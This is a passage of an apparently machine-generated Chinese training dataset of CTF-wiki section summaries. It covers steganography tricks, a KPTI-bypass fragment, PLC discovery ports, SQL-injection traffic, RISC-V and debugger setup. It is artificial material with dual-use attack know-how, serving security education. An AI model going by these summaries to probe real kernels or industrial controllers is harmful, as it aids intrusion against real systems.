`SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL)`\n- plain: 7 行，首行 `fake rax`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1049, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "iret", "heading_path": ["KPTI - Kernel Page Table Isolation", "Attack KPTI", "SWITCH_TO_USER_CR3_STACK", "iret"], "original_id": "docs-854a46f487792784f696", "original_line": 678, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "source_root": "docs", "source_sha256": "b88b1df847f13af9b069254f15961f1abf292994651bb55eefb1446127a2cf80", "split": "train", "split_group_key": "d29be6f6c07642f57339ec65", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "pwn", "linux", "kernel-mode", "defense", "code:assembly"], "title": "KPTI - Kernel Page Table Isolation"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b1d46ec1dcd9175d6145", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/gif.md` 中的章节「时间轴」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/gif.md`\n标题：GIF\n章节：GIF > 时间轴\n路径分类：misc / misc/picture/gif.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“时间轴”展开。\n- GIF文件每一帧间的时间间隔也可以作为信息隐藏的载体。\n- 例如在当时在XMan选拔赛出的一题 > XMAN-2017:100.gif 通过identify命令清晰的打印出每一帧的时间间隔 ``shell $ identify -format \"%s %T \\n\" 100.gif 0 66 1 66 2 20 3 10 4 20 5 10 6 10 7 20 8 20 9 20 10 20 11 10 12 20 13 20 14 10 15 10 ` 推断 20 & 10 分别代表 0 & 1，提取每一帧间隔并进行转化。\n\n关键术语：\n- misc\n- picture\n- gif.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 17 行，首行 `$ identify -format \"%s %T \\n\" 100.gif`\n- shell: 2 行，首行 `$ cat flag|cut -d ' ' -f 2|tr -d '66'|tr -d '\\n'|tr -d '0'|tr '2' '0'`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 687, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "时间轴", "heading_path": ["GIF", "时间轴"], "original_id": "docs-7b745b98bb91d0d7731d", "original_line": 577, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "source_root": "docs", "source_sha256": "4ab7c472b31541161ddb401ad7439593a656caf10fd24929eb2630025ebe9f8b", "split": "train", "split_group_key": "cac15846b45e320d86dddc3b", "subcategory": "misc/picture/gif.md", "terms": ["misc", "picture", "gif.md", "code:shell"], "title": "GIF"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b3bc6282dce8c299121f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/png.md` 中的章节「IDAT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/png.md`\n标题：PNG\n章节：PNG > 文件格式 > IDAT\n路径分类：misc / misc/picture/png.md\n分块：1/1\n\n核心知识点：\n- ` 可以看到，正常的块的 length 是在 65524 的时候就满了，而倒数第二个 IDAT 块长度是 45027，最后一个长度是 138，很明显最后一个 IDAT 块是有问题的，因为他本来应该并入到倒数第二个未满的块里. 利用 python zlib 解压多余 IDAT 块的内容，此时注意剔除 长度、数据块类型及末尾的CRC校验值。\n- 储存图像像素数据 - 在数据流中可包含多个连续顺序的图像数据块 - 采用 LZ77 算法的派生算法进行压缩 - 可以用 zlib 解压缩 值得注意的是，IDAT 块只有当上一个块充满时，才会继续一个新的块。\n- `python IDAT = \"789...667\".decode('hex') result = binascii.hexlify(zlib.decompress(IDAT)) print result ``\n- 图像数据块 IDAT（image data chunk）：它存储实际的数据，在数据流中可包含多个连续顺序的图像数据块。\n\n关键术语：\n- 漏洞利用\n- misc\n- picture\n- png.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 16 行，首行 `λ .\\pngcheck.exe -v sctf.png`\n- python: 3 行，首行 `IDAT = \"789...667\".decode('hex')`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1169, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "IDAT", "heading_path": ["PNG", "文件格式", "IDAT"], "original_id": "docs-031e11154b26406392f7", "original_line": 586, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "source_root": "docs", "source_sha256": "43950f569096175f2c56da46c5d09dece4a19b71604f5ff4c9662280fa9187ec", "split": "train", "split_group_key": "706654329841309750d6635c", "subcategory": "misc/picture/png.md", "terms": ["漏洞利用", "misc", "picture", "png.md", "code:shell", "code:python"], "title": "PNG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b944dbdb8643aa9852a5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/encode/computer.md` 中的章节「Base 编码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/encode/computer.md`\n标题：计算机相关的编码\n章节：计算机相关的编码 > Base 编码\n路径分类：misc / misc/encode/computer.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Base 编码”展开。\n- 3个字节就有 24 个比特，对应于 4 个 Base64 单元，即 3 个字节需要用 4 个可打印字符来表示。\n- 文件: ./figure/base64_man.png] 如果要编码的字节数不能被 3 整除，最后会多出 1 个或 2 个字节，那么可以使用下面的方法进行处理：先使用 0 值在末尾补足，使其能够被 3 整除，然后再进行 base64 的编码。\n- 文件: ./figure/base64_0.png] 由于解码时补位的 0 并不参与运算，可以在该处隐藏信息。\n- base xx 中的 xx 表示的是采用多少个字符进行编码，比如说 base64 就是采用以下 64 个字符编码，由于 2 的 6 次方等于 64，所以每 6 个比特为一个单元，对应某个可打印字符。\n- 在 Base64 中的可打印字符包括字母 A-Z、a-z、数字 0-9，这样共有 62 个字符，此外两个可打印符号在不同的系统中而不同。\n\n关键术语：\n- misc\n- encode\n- computer.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1012, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "Base 编码", "heading_path": ["计算机相关的编码", "Base 编码"], "original_id": "docs-6a6a94e9e9b9d876c70a", "original_line": 562, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "source_root": "docs", "source_sha256": "baabe4939cf3b76b8c4c33d2e990aedcd12c11970037a1431f7bea48d9711909", "split": "train", "split_group_key": "153fe1c7f72e6e87589cb68a", "subcategory": "misc/encode/computer.md", "terms": ["misc", "encode", "computer.md"], "title": "计算机相关的编码"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b94f23c6497dba4be382", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/http.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/http.md`\n标题：HTTP\n章节：HTTP > 例题\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- > 题目：江苏省领航杯-2017：hack 总体观察可以得出: - HTTP为主 - 192.168.173.134为主 - 不存在附件 [图片: linghang_hack;\n\n关键术语：\n- SQL注入\n- misc\n- traffic\n- protocols\n- http.md\n- code:python\n\n代码/命令片段线索：\n- python: 12 行，首行 `with open('log') as f:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 564, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["HTTP", "例题"], "original_id": "docs-a1fcb2f1cbfa1a366670", "original_line": 606, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/http.md", "source_root": "docs", "source_sha256": "fc558ec71ff91bac802cdad91ae6b0a4cc6342e26befdb79e2452a37762425a5", "split": "train", "split_group_key": "a972c8e3557213ecd41bc637", "subcategory": "misc/traffic/protocols", "terms": ["SQL注入", "misc", "traffic", "protocols", "http.md", "code:python"], "title": "HTTP"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/http.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b993c5b505cbd9a5fa15", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（7）特殊系统调用指令（环境交互）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x03 常见指令 > （7）特殊系统调用指令（环境交互）\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（7）特殊系统调用指令（环境交互）”展开。\n- | 指令 | 含义 | 示例 | 说明 | |----------|-------------------------|----------------------------|----------------------------------| | ecall | 环境调用（系统调用） | ecall | 触发环境调用异常 | | ebreak | 调试断点 | ebreak | 触发调试异常 |\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 210, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "（7）特殊系统调用指令（环境交互）", "heading_path": ["Risc-V", "0x03 常见指令", "（7）特殊系统调用指令（环境交互）"], "original_id": "docs-ef21f6b3a3e815f839db", "original_line": 120, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "b2d279ec188c1d77658ca731", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-babf98ed6e5033c4bc57", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/audio/introduction.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/audio/introduction.md`\n标题：音频隐写\n章节：音频隐写 > MP3 隐写 > 原理\n路径分类：misc / misc/audio/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- The data is first compressed, encrypted and then hidden in the MP3 bit stream.\n- ``shell encode -E hidden_text.txt -P pass svega.wav svega_stego.mp3 decode -X -P pass svega_stego.mp3 ``\n- MP3隐写主要是使用 Mp3Stego 工具进行隐写，其基本介绍及使用方法如下 > MP3Stego will hide information in MP3 files during the compression process.\n\n关键术语：\n- 密码学\n- misc\n- audio\n- introduction.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 2 行，首行 `encode -E hidden_text.txt -P pass svega.wav svega_stego.mp3`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 358, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "原理", "heading_path": ["音频隐写", "MP3 隐写", "原理"], "original_id": "docs-63c93d50f8cf4d28206b", "original_line": 555, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/audio/introduction.md", "source_root": "docs", "source_sha256": "ca5f9e61f874f9b23c918bef96439e1355aac386099fc35a99150f84b386b0c9", "split": "train", "split_group_key": "091d0464c53fe3cf17e1a713", "subcategory": "misc/audio/introduction.md", "terms": ["密码学", "misc", "audio", "introduction.md", "code:shell"], "title": "音频隐写"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/audio/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-bbffe299f85900764fa2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「安装 peda」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 安装 peda\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“安装 peda”展开。\n- peda 是一个强大的 GDB 插件，通过该插件我们可以在调试时很方便地查看运行环境以及获取堆内存布局等信息。\n- > 注：peda 和 pwndbg 你只需要安装其中之一，由于功能重复，且为了避免插件冲突，我们并不推荐你同时安装这两个插件。\n- peda 插件无需过多配置，我们只需要将源码下载到本地后更新 gdb 配置即可。\n- ``shell git clone https://github.com/longld/peda.git ~/peda echo \"source ~/peda/peda.py\" >> ~/.gdbinit echo \"DONE!\n- debug your program with gdb and enjoy\" ``\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- environment.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 3 行，首行 `git clone https://github.com/longld/peda.git ~/peda`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 356, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "安装 peda", "heading_path": ["pwn-related tools", "在本地直接搭建 CTF Pwn 做题环境", "安装 peda"], "original_id": "docs-32bec07f508bfbc1680c", "original_line": 853, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "6f104a08820c90ceb1313617", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "environment.md", "code:shell"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-bd5597ee793dcacc32f1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/discover.md` 中的章节「基于工控组态软件的组件扫描方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/discover.md`\n标题：ICS_CTF 发现\n章节：ICS_CTF 发现 > 工控扫描脚本 > 基于工控组态软件的组件扫描方法\n路径分类：ics / ics/discover.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基于工控组态软件的组件扫描方法”展开。\n- 各工控厂商往往自带组态软件，组态软件时连接当前内网内设备时可自主发现目标PLC设备 |端口|协议/设备|连接方法| |:-----|:------|:------| |102(TCP)|siemens s7|西门子软件Step7 自带扫描当前网段PLC设备功能| |502(TCP)|modbus|施耐德SoMachine Basic 连接PLC设备自带扫描内网网段功能|\n\n关键术语：\n- ics\n- discover.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 187, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "基于工控组态软件的组件扫描方法", "heading_path": ["ICS_CTF 发现", "工控扫描脚本", "基于工控组态软件的组件扫描方法"], "original_id": "docs-93c583e81e6d018d58d5", "original_line": 512, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/discover.md", "source_root": "docs", "source_sha256": "bcb3d5fac5c985682c3d51007de15d8a868b509c9b7d2a43da2065224760f1aa", "split": "train", "split_group_key": "e20f47bab60822bfb3d67b11", "subcategory": "ics/discover.md", "terms": ["ics", "discover.md"], "title": "ICS_CTF 发现"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/discover.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c016b8e74576d6b9ba35", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/usb.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/usb.md`\n标题：USB\n章节：USB > 简介\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 第二个字节可以看成是一个signed byte类型，其最高位为符号位，当这个值为正时，代表鼠标水平右移多少像素，为负时，代表水平左移多少像素。\n- USB详述: https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf - 鼠标协议 鼠标移动时表现为连续性，与键盘击键的离散性不一样，不过实际上鼠标动作所产生的数据包也是离散的，毕竟计算机表现的连续性信息都是由大量离散信息构成的 [图片: mouse;\n- 文件: ./figure/mouse.png] 每一个数据包的数据区有四个字节，第一个字节代表按键，当取0x00时，代表没有按键、为0x01时，代表按左键，为0x02时，代表当前按键为右键。\n- 得到这些点的信息后,即可恢复出鼠标移动轨迹 - Tools - UsbMiceDataHacker - 键盘协议 键盘数据包的数据长度为8个字节，击键信息集中在第3个字节 [图片: keyboard;\n- 文件: ./figure/keyboard.png] 根据data值与具体键位的对应关系 [图片: keyboard_pro;\n\n关键术语：\n- misc\n- traffic\n- protocols\n- usb.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 839, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "简介", "heading_path": ["USB", "简介"], "original_id": "docs-10f3a4f715623bdbba59", "original_line": 608, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/usb.md", "source_root": "docs", "source_sha256": "08cca8a2e3086d186787a8373b02ff799d9bcf0c30eca387da114d4c8673a550", "split": "train", "split_group_key": "73e1322bbd6f04a401f8f5d8", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "usb.md"], "title": "USB"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/usb.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c4bbedd56c8196f8085c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/integeroverflow/introduction.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/integeroverflow/introduction.md`\n标题：整数溢出\n章节：整数溢出 > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 在C语言中，整数的基本数据类型分为短整型(short)，整型(int)，长整型(long)，这三个数据类型还分为有符号和无符号，每种数据类型都有各自的大小范围，(因为数据类型的大小范围是编译器决定的，所以之后所述都默认是 64 位下使用 gcc-5.4)，如下所示:\n- | 类型 | 字节 | 范围 | | :-: | :-: | :-: | | short int | 2byte(word) | 0\\~32767(0\\~0x7fff) 
 -32768\\~-1(0x8000\\~0xffff) | | unsigned short int | 2byte(word) | 0\\~65535(0\\~0xffff) | | int | 4byte(dword) | 0\\~2147483647(0\\~0x7fffffff) 
 -2147483648\\~-1(0x8000...\n- 当程序中的数据超过其数据类型的范围，则会造成溢出，整数类型的溢出被称为整数溢出。\n\n关键术语：\n- 边界/溢出\n- pwn\n- linux\n- user-mode\n- integeroverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 679, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "介绍", "heading_path": ["整数溢出", "介绍"], "original_id": "docs-f308326ea1cb3d27eb26", "original_line": 1190, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "source_root": "docs", "source_sha256": "959bb364d37f2e799d50154207a0ed57e01a3cf27d5bd74723e161e6e9a941f6", "split": "train", "split_group_key": "857fbde84f5095c3b4f480f4", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "pwn", "linux", "user-mode", "integeroverflow"], "title": "整数溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c6be9c9c3b7013c93157", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「将 Docker 容器接入本地图形界面」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 将 Docker 容器接入本地图形界面\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“将 Docker 容器接入本地图形界面”展开。\n- pwntools 自带的调试命令 gdb.attach() 需要创建新的窗口，而在容器中直接运行会失败，因此我们需要为容器接入本地的图形服务，以达成原生的运行效果（直接弹出一个新的窗口）。\n- > 若是觉得这种办法比较麻烦，也可以选择使用 tmux 配置多窗口，只需在运行 gdb.attach() 命令前运行 context.terminal = ['tmux', 'splitw', '-h'] 即可。\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- environment.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 208, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "将 Docker 容器接入本地图形界面", "heading_path": ["pwn-related tools", "将 Docker 容器接入本地图形界面"], "original_id": "docs-e89f547e5b3906ade5cf", "original_line": 845, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "55d49dc0207221a2f736077b", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "environment.md"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c80c6cd1740937b948c6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「0x04 调用规约」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x04 调用规约\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“0x04 调用规约”展开。\n- 栈帧结构图（RISC-V ABI 栈帧） ``text 高地址 │ │ +-----------------------------+ │ | 需要保存的寄存器 | │ +-----------------------------+ │ | 超过寄存器传参的参数 > a7/fa7 | │ +-----------------------------+ │ | 返回地址 (ra) │ │ +-----------------------------+ │ | 局部变量 | │ +----------------...\n\n关键术语：\n- 栈\n- assembly\n- risc-v\n- readme.md\n- code:text\n\n代码/命令片段线索：\n- text: 13 行，首行 `高地址`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 311, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "0x04 调用规约", "heading_path": ["Risc-V", "0x04 调用规约"], "original_id": "docs-da3020cdc064f2dea6a0", "original_line": 121, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "5bd0a13b502037bc71969016", "subcategory": "assembly/risc-v/readme.md", "terms": ["栈", "assembly", "risc-v", "readme.md", 